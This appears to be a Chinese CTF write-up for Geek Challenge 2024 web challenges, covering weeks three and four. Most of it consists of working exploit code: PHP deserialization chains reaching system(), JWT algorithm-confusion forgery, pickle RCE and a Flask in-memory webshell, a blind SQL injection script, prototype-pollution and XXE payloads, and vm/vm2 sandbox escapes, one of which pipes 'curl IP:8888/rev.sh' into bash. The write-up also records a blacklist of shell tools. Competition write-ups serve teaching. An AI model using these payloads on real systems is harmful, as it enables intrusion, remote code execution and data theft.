week[three]
PHP不比Java差
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";
class Challenge{
public $file;
public function Sink()
{
echo "<br>!!!A GREAT STEP!!!<br>";
echo "Is there any file?<br>";
if(file_exists($this->file)){
global $FLAG;
echo $FLAG;
}
}
}
class Geek{
public $a;
public $b;
public function __unserialize(array $data): void
{
$change=$_GET["change"];
$FUNC=$change($data);
$FUNC();
}
}
class Syclover{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
public function __toString()
{
echo "__toString is called<br>";
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
}
}
unserialize($_POST['data']);
$flag里面没有flag,不知道出题人设置这个Challenge类干嘛。
入口是__unserialize,然后$data变量的值是由反序列化出来的a,b变量值决定的。再看下面
$FUNC=$change($data);
$FUNC();
将$change($data)的结果作为名字来执行。我们让data数组第一个值为phpinfo,再使用array_shift就可以拿到phpinfo,从而调用phpinfo了。但是没什么用,flag没在环境变量里面。
我们可以让data数组的第一个值也是个数组,数组的键值是对象与函数名,从而调用函数。如下图:
这样就可以调用Syclover的__toString方法了。然后就是一个原生类的利用
$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);
根据题目名字PHP不比Java差
,很容易想到反射,于是搜索得到一篇文章:从一道ctf题看php原生类 | Ethe's blog
利用反射拿到函数,从而rce。然后就是一个file的suid提权了
给出完整exp
<?php
class Geek
{
public $a;
public $b;
}
class Syclover
{
public $Where;
public $IS;
public $Starven;
public $Girlfriend;
}
$a=new Geek();
$eval=new Syclover();
$eval->Where='ReflectionFunction';
$eval->IS='call_user_func';
$eval->Starven = 'invokeArgs';
$eval->Girlfriend = array('system','file -f /flag');
$a->a=array($eval,'__toString');
echo serialize($a);
jwt_pickle
import base64
import hashlib
import random
import string
from flask import Flask,request,render_template,redirect
import jwt
import pickle
app = Flask(__name__,static_folder="static",template_folder="templates")
privateKey=open("./private.pem","rb").read()
publicKey=open("./public.pem","rb").read()
characters = string.ascii_letters + string.digits + string.punctuation
adminPassword = ''.join(random.choice(characters) for i in range(18))
user_list={"admin":adminPassword}
@app.route("/register",methods=["GET","POST"])
def register():
if request.method=="GET":
return render_template("register.html")
elif request.method=="POST":
username=request.form.get("username")
password=request.form.get("password")
if (username==None)|(password==None)|(username in user_list):
return "error"
user_list[username]=password
return "OK"
@app.route("/login",methods=["GET","POST"])
def login():
if request.method=="GET":
return render_template("login.html")
elif request.method=="POST":
username = request.form.get("username")
password = request.form.get("password")
if (username == None) | (password == None):
return "error"
if username not in user_list:
return "please register first"
if user_list[username] !=password:
return "your password is not right"
ss={"username":username,"password":hashlib.md5(password.encode()).hexdigest(),"is_admin":False}
if username=="admin":
ss["is_admin"]=True
ss.update(introduction=base64.b64encode(pickle.dumps("1ou_Kn0w_80w_to_b3c0m3_4dm1n?")).decode())
token=jwt.encode(ss,privateKey,algorithm='RS256')
return "OK",200,{"Set-Cookie":"Token="+token.decode()}
@app.route("/admin",methods=["GET"])
def admin():
token=request.headers.get("Cookie")[6:]
print(token)
if token ==None:
redirect("login")
try:
real= jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
except Exception as e:
print(e)
return "error"
username = real["username"]
password = real["password"]
is_admin = real["is_admin"]
if password != hashlib.md5(user_list[username].encode()).hexdigest():
return "Hacker!"
if is_admin:
serial_S = base64.b64decode(real["introduction"])
introduction=pickle.loads(serial_S)
return f"Welcome!!!,{username},introduction: {introduction}"
else:
return f"{username},you don't have enough permission in here"
@app.route("/",methods=["GET"])
def jump():
return redirect("login")
if __name__ == "__main__":
app.run(debug=False,host="0.0.0.0",port=80)
admin路由可以打pickle,但是有jwt验证。
发现签名和解密的算法不一样,可能存在漏洞。
token= jwt.encode(ss,privateKey,algorithm='RS256')
real = jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])
先尝试使用silentsignal/rsa_sign2n:从消息签名对中派生 RSA 公钥爆破公钥
拿到两个jwt
docker run --rm -it portswigger/sig2n eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImZpbG0iLCJwYXNzd29yZCI6ImJkYmQ2ZGIxZDhjYzA5YTk1N2U4NjE4MGZkYTk0NDJhIiwiaXNfYWRtaW4iOmZhbHNlfQ.iNRbgNMrFMg3NptNTe27fhtSqeI90J_EvWICY-c4TH_qMOO69IMpK4F4xqgPCphL5Tnziqd0AFPPFyyeMQumIgIj01anLnVl-BPx_wKTZAL9JTITfZhwF74J5KX62MNSVtGuo19_yVt06lvqpMlImY4sV7qLN1tJS4DruzeMFxJGwlEQBIUEO2T5B0nj9rTcb-BBTMfYx58NKoVtxph56NUmHI10tEEGmexkLwXb-zFSwfYsTR3g7x2RLMt3IkgUEy-HI5MwoTOPvGx7bI8FqjRs0OZMujQlxrJahqPXiYakNJ9XhQ_2e1tqV786JrV7Lfcho7mFicvW5t81h9eggg eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJwYXNzd29yZCI6IjA5OGY2YmNkNDYyMWQzNzNjYWRlNGU4MzI2MjdiNGY2IiwiaXNfYWRtaW4iOmZhbHNlfQ.JoQAS29u_5BRjSsmCztJMisu0I8e87OpzkUWanifvhGYcxse_hWsOyXAF4C4-mHEPmmZSqhYpXGV4mIxtApkk04knO6fiNC23QrSW6XeACSQ2rD2510zUDeiJxq82VrQgYxfqVS2ig3RFFTGB3k7nE7_xbPYtQSodzw-ubEXNS8ab7Ow4iTVoV2zgCPV85YKb02HByXPsnz576-a1yaFmcbisTaMDujIPzmycAuemoAoWspHdnYZm_NM6ndiEjLUTX8HOglGg4zsPYN6PV9Z_uWlOm9ffwMg6y2TLPJI8UQjlyaQjsmDuHY_k9Kp4lEpB6mgzEqURB7QENBm9VFEDg
发现用伪造之后的jwt能登录,那代表我们的公钥是正确的
然后用这个jwt对应的base64key在jwt.io上进行伪造。(这里说一下,如果出现500代表是pickle的问题,并且此时伪造是成功的。
勾上这个就可以了。
弹个shell拿到flag。
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("cmd",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
py_game
游戏通关后什么都拿不到。
eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.Zy1v8A.vUSLJ0v-jq9IpmNFrQ9NZbLTFso
伪造session进去管理员,然后可以下载到一个pyc文件,反编译一下。(这里需要找一个靠谱的反编译方法,要不然可能会漏东西,这里害我检查好久。pyc反编译 - 工具匠
# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.8.10 (default, Sep 11 2024, 16:02:53)
# [GCC 9.4.0]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def check(self, data):
return self.username == data["username"] and self.password == data["password"]
admin = User("admin", "123456j1rrynonono")
Users = [admin]
def update(src, dst):
for k, v in src.items():
if hasattr(dst, "__getitem__"):
if dst.get(k):
if isinstance(v, dict):
update(v, dst.get(k))
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
else:
setattr(dst, k, v)
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.username == username:
flash("用户名已存在", "error")
return redirect(url_for("register"))
new_user = User(username, password)
Users.append(new_user)
flash("注册成功!请登录", "success")
return redirect(url_for("login"))
else:
return render_template("register.html")
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
for u in Users:
if u.check({'username':username, 'password':password}):
session["username"] = username
flash("登录成功", "success")
return redirect(url_for("dashboard"))
flash("用户名或密码错误", "error")
return redirect(url_for("login"))
else:
return render_template("login.html")
@app.route("/play", methods=["GET", "POST"])
def play():
if "username" in session:
with open("/app/templates/play.html", "r", encoding="utf-8") as file:
play_html = file.read()
return play_html
else:
flash("请先登录", "error")
return redirect(url_for("login"))
@app.route("/admin", methods=["GET", "POST"])
def admin():
if "username" in session:
if session["username"] == "admin":
return render_template("admin.html", username=(session["username"]))
flash("你没有权限访问", "error")
return redirect(url_for("login"))
@app.route("/downloads321")
def downloads321():
return send_file("./source/app.pyc", as_attachment=True)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/dashboard")
def dashboard():
if "username" in session:
is_admin = session["username"] == "admin"
if is_admin:
user_tag = "Admin User"
else:
user_tag = "Normal User"
return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
else:
flash("请先登录", "error")
return redirect(url_for("login"))
@app.route("/xml_parse")
def xml_parse():
try:
xml_bytes = app.config["xml_data"].encode("utf-8")
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.fromstring(xml_bytes, parser=parser)
result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
return Response(result_xml, mimetype="application/xml")
except etree.XMLSyntaxError as e:
return str(e)
black_list = [
"__class__".encode(), "__init__".encode(), "__globals__".encode()]
def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False
return True
@app.route("/update", methods=["POST"])
def update_route():
if "username" in session:
if session["username"] == "admin":
if request.data:
try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
else:
data = json.loads(request.data.decode())
print(data)
if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
update(data, User)
return (jsonify({"message": "更新成功"}), 200)
return ('Invalid character', 400)
except Exception as e:
return (
f"Exception: {str(e)}", 500)
else:
return ('No data provided', 400)
else:
flash("你没有权限访问", "error")
return redirect(url_for("login"))
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=False)
很明显,里面有个原型链污染。有个check针对原型链污染。unicode绕过。然后发现有个XML解析的路由,那思路很清晰了,污染app.config['xml_data'],打一下xxe就好了。
对file和dtd进行了过滤,思考ing
session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4ifQ.ZzYTlA.VH553rYhlYVYryaPs7cEhHf4XD0
后面发现直接/flag可以。为什么?
{
"_\u005finit__": {
"_\u005fglobals__":{
"app":{
"config":{
"xml_data":"<?xml version=\"1.0\"?>\n<!DOCTYPE note [\n<!ENTITY fffffilm SYSTEM \"/flag\">\n]>\n\n<user><username>&fffffilm;</username><password>456789</password></user>"
}
}
}
}
}
funnySQL
先fuzz
过滤了,or,sleep,handler,and,=,ascii,rand,format,%0a,空格
并且是没有回显,那只能时间盲注了。板子是newstar拿的
import requests, string, time
url = 'http://80-f5effa86-1e04-4629-8f6c-103f40750063.challenge.ctfplus.cn/index.php'
result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
#for c in string.ascii_letters + string.digits + '.-{},_':
for c in string.ascii_lowercase + string.digits + '-{}': #跑flag用
time.sleep(0.05) # 限制速率,防止请求过快
print('[+]trying:', c)
#payload='database()'#sycver
#payload='@@version'#MariaDB 10.2.26 mysql5.7
#payload="(select%09group_concat(table_name)%09from%09mysql.innodb_table_stats%09where%09database_name%09like%09'syclover')"#Rea11ys3ccccccr3333t,users
payload="(select%09group_concat(flag)%09from%09Rea11ys3ccccccr3333t)"#猜测flag在flag列中
char = f'substr({payload},{i},1)'
b = f'{char}%09like%09\'{c}\''
p = f'if({b},BENCHMARK(5000000,md5("1")),0)'
#print(p)
url_all = f"{url}?username=1'^{p}%23"
start_time = time.time() # 注入前的系统时间
res = requests.get(url_all)
print(time.time() - start_time)
#print(res.url)
end_time = time.time() # 注入后的时间
if end_time - start_time > 0.5:
print('[*]bingo:', c)
result += c
print(result)
break
可能需要根据自身网络环境调整延时
调整flag格式
SYC{09635712-4529-426a-8070-92ef810d3234}
ez_js
根据提示,用户名是作者,密码是6位数字,尝试过后得到
Starven/123456
输入后拿到部分源码。
const { merge } = require('./utils/common.js');
function handleLogin(req, res) {
var geeker = new function() {
this.geekerData = new function() {
this.username = req.body.username;
this.password = req.body.password;
};
};
merge(geeker, req.body);
if (geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456') {
if (geeker.hasFlag) {
const filePath = path.join(__dirname, 'static', 'direct.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
} else {
const filePath = path.join(__dirname, 'static', 'error.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
} else {
const filePath = path.join(__dirname, 'static', 'error2.html');
res.sendFile(filePath, (err) => {
if (err) {
console.error(err);
res.status(err.status).end();
}
});
}
}
function merge(object1, object2) {
for (let key in object2) {
if (key in object2 && key in object1) {
merge(object1[key], object2[key]);
} else {
object1[key] = object2[key];
}
}
}
module.exports = { merge };
利用proto,污染原型
{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}
访问flag
过滤了逗号
req.query -----解析----> 数组 ----json.parse--> 对象
利用对同一参数名解析会带上逗号,传数组实现绕过
syc[0]={"username":"Starven"&syc[1]="password":"123456"&syc[2]="hasFlag":true}
不用[0],直接三个syc也行,但这属于http知识,就不讲了。
week[four]
not_just_pop
<?php
highlight_file(__FILE__);
ini_get('open_basedir');
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
public function __invoke()
{
echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
eval($this->web);
}
public function __wakeup()
{
$this->web=$this->love;
}
public function __destruct()
{
die($this->You->execurise=$this->Do);
}
}
class Parar{
private $execurise;
public $lead;
public $hansome;
public function __set($name,$value)
{
echo $this->lead;
}
public function __get($args)
{
if(is_readable("/flag")){
echo file_get_contents("/flag");
}
else{
echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
if ($this->execurise=="man!") {
echo "居然没坠机"."<br>";
if(isset($this->hansome->lover)){
phpinfo();
}
}
else{
echo($this->execurise);
echo "你也想被肘吗"."<br>";
}
}
}
}
class Starven{
public $girl;
public $friend;
public function __toString()
{
return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
}
public function __call($args1,$args2)
{
$func=$this->friend;
$func();
}
}
class SYC{
private $lover;
public $forever;
public function __isset($args){
return $this->forever->nononon();
}
}
$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
unserialize(base64_decode($Syclover));
throw new Exception("None");
}else{
echo("怎么不给我呢,是不喜欢吗?");
}
链子有点长,慢慢分析就好了。
先打一下
<?php
class lhRaMK7{
public $Do;
public $You;
public $love;
public $web;
}
class Parar{
public $execurise;
public $lead;
public $hansome;
}
class Starven{
public $girl;
public $friend;
}
class SYC{
public $lover;
public $forever;
}
$a=new lhRaMK7();
$a->web=&$a->You;
$a->love=new Parar();
$a->love->lead=new Starven();
$a->love->lead->girl=new Parar();
$a->love->lead->girl->execurise="man!";
$a->love->lead->girl->hansome=new SYC();
$a->love->lead->girl->hansome->forever=new Starven();
$a->love->lead->girl->hansome->forever->friend=new lhRaMK7();
$a->love->lead->girl->hansome->forever->friend->love='phpinfo();';
$payload=serialize($a);
echo serialize($a);
echo "\n";
$payload=substr($payload, 0, -1);
echo base64_encode($payload);
拿到禁用函数
exec,system,shell_exec,popens,popen,curl_exec,curl_multi_exec,proc_open,proc_get_status,,readfile,unlink,dl,memory_get_usage,dl,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,linkopen_basedir
然后将最后一行改成
$a->love->lead->girl->hansome->forever->friend->love='eval("$_POST[1];");';
利用蚁剑插件绕过。(连接方式为
连接密码:1
可以sudo提权
ez_python
走正常注册,登录的逻辑,可以拿到部分源码。
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black
app = Flask(__name__)
#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
return render_template_string(open('templates/index.html').read())
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
usname = request.form['username']
passwd = request.form['password']
if usname and passwd:
heart_cookie = secrets.token_hex(32)
response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
response.set_cookie('heart', heart_cookie)
return response
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
heart_cookie = request.cookies.get('heart')
if not heart_cookie:
return render_template('warning.html')
if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
statement = request.form['statement']
try:
heal_state = base64.b64decode(statement)
print(heal_state)
for i in black.blacklist:
if i in heal_state:
return render_template('waf.html')
pickle.loads(heal_state)
res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
os.system("echo " + flag + " > /flag")
return res
except Exception as e:
print( e)
pass
return "Error!!!! give you hint: maybe you can view /starven_s3cret"
return render_template('login.html')
@app.route('/monologue',methods=['GET','POST'])
def joker():
return render_template('joker.html')
@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
return send_file(__file__,as_attachment=True)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
黑盒,先FUZZ一下,由于没有好的字典,所以没fuzz,但是从题目的过滤是base64解码之后,进行循环,猜测是关键词检查。后面反弹shell时被过滤了,猜测是过滤了弹shell相关操作。然后利用error_handler打了个内存马。
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
拿到了黑名单。
blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc'
b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter' ,b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']
读flag。
noSandbox
一开始是个登录,题目说了芒果DB,很容易想到nosql注入。
利用永真式绕过
然后是一个沙箱逃逸,题目给了源码。
//泄露的代码执行和WAF部分代码,不能直接运行
const vm = require('vm');
function waf(code,res) {
let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
if (code.match(pattern)) {
console.log('WAF detected malicious code');
res.status(403).send('WAF detected malicious code');
exit();
}
}
app.post('/execute', upload.none(), (req, res) => {
let code = req.body.code;
const token = req.cookies.token;
if (!token) {
return res.status(403).send('Missing execution code credentials.');
}
if (!jwt.verify(token, JWT_SECRET)) {
return res.status(403).send('Invalid token provided.');
}
console.log(`Received code for execution: ${code}`);
try {
waf(code,res);
let sandbox = Object.create(null);
let context = vm.createContext(sandbox);
let script = new vm.Script(code);
console.log('Executing code in sandbox context');
script.runInContext(context);
console.log(`Code executed successfully. Result: ${sandbox.result || 'No result returned.'}`);
res.json('Code executed successfully' );
} catch (err) {
console.error(`Error executing code: ${err.message}`);
res.status(400).send(`Error: there's no display back here,may be it executed successfully?`);
}
});
先把waf关了,测测怎么能逃逸
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
成功逃逸。
然后就是怎么绕waf了,let pattern = /(find|ownKeys|fromCharCode|includes|\'|\"|replace|fork|reverse|fs|process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function|env)/m;
。关键字过滤,没什么用。
过滤了一些关键字以及'"+\和[]
利用模板字符串绕过,例如:
${`${`functio`}n`} == function
改改我们的exp。原来的exp最后一行等价于
// 获取 'child_process' 模块
const obj = p.mainModule.require('child_process');
// 获取 'execSync' 方法的属性描述符
const ex = Object.getOwnPropertyDescriptor(obj, 'execSync');
// 执行 'whoami' 命令并将结果转换为字符串
return ex.value('whoami').toString();
并且这里的execSync不能简单的绕过。有点像NKCTF的沙箱逃逸,但是多过滤了replace等关键字。可以利用反射来实现绕过
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();
const chi = p.mainModule.require(`${`${`child_proces`}s`}`);
const res = Reflect.get(chi, `${`${`exe`}cSync`}`)(`curl IP:8888/rev.sh | bash`);
return res.toString();
}
})
题目不出网,弹个shell就好了。
escapeSandbox_PLUS
也给了源代码
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const multer = require('multer');
const { VM } = require('vm2');
const crypto = require('crypto');
const path = require('path');
const app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
const sessionSecret = crypto.randomBytes(64).toString('hex');
app.use(session({
secret: sessionSecret,
resave: false,
saveUninitialized: true,
}));
const upload = multer();
app.post('/login', (req, res) => {
const { username, passwd } = req.body;
if (username.toLowerCase() !== 'syclover' && username.toUpperCase() === 'SYCLOVER' && passwd === 'J1rrY') {
req.session.isAuthenticated = true;
res.json({ message: 'Login successful' });
} else {
res.status(401).json({ message: 'Invalid credentials' });
}
});
const isAuthenticated = (req, res, next) => {
if (req.session.isAuthenticated) {
next();
} else {
res.status(403).json({ message: 'Not authenticated' });
}
};
app.post('/execute', isAuthenticated, upload.none(), (req, res) => {
let code = req.body.code;
let flag = false;
for (let i = 0; i < code.length; i++) {
if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
flag = true;
code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
}
}
try {
const vm = new VM({
sandbox: {
require: undefined,
setTimeout: undefined,
setInterval: undefined,
clearTimeout: undefined,
clearInterval: undefined,
console: console
}
});
const result = vm.run(code.toString());
console.log('执行结果:', result);
res.json({ message: '代码执行成功', result: result });
} catch (e) {
console.error('执行错误:', e);
res.status(500).json({ error: '代码执行出错', details: e.message });
}
});
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
process.on('uncaughtException', (err) => {
console.error('捕获到未处理的异常:', err);
});
process.on('unhandledRejection', (reason, promise) => {
console.error('捕获到未处理的 Promise 错误:', reason);
});
setTimeout(() => {
throw new Error("模拟的错误");
}, 1000);
setTimeout(() => {
Promise.reject(new Error("模拟的 Promise 错误"));
}, 2000);
app.listen(3000, () => {
console.log('Server is running on port 3000');
});
先利用js的漏洞登录
ſyclover/J1rrY
然后在Security Overview · patriksimek/vm2里面找poc就可以了。
我用的这个,成功写文件。
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('dir > b.txt');
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
有个小过滤,令参数为数组即可绕过。
for (let i = 0; i < code.length; i++) {
if (flag || "/(abcdefghijklmnopqrstuvwxyz123456789'\".".split``.some(v => v === code[i])) {
flag = true;
code = code.slice(0, i) + "*" + code.slice(i + 1, code.length);
}
}
题目没有回显。所以考虑弹shell,或者外带。但是题目还给了docker启动环境
FROM node:18-alpine
WORKDIR /app
COPY ./app /app
COPY ./flag /flag
EXPOSE 3000
CMD ["node","/app/app.js"]
发现这个node:18-alpine环境很多命令没有。
直接把命令执行结果写到文件,然后访问得到结果
cat /f* > /app/public/a.txt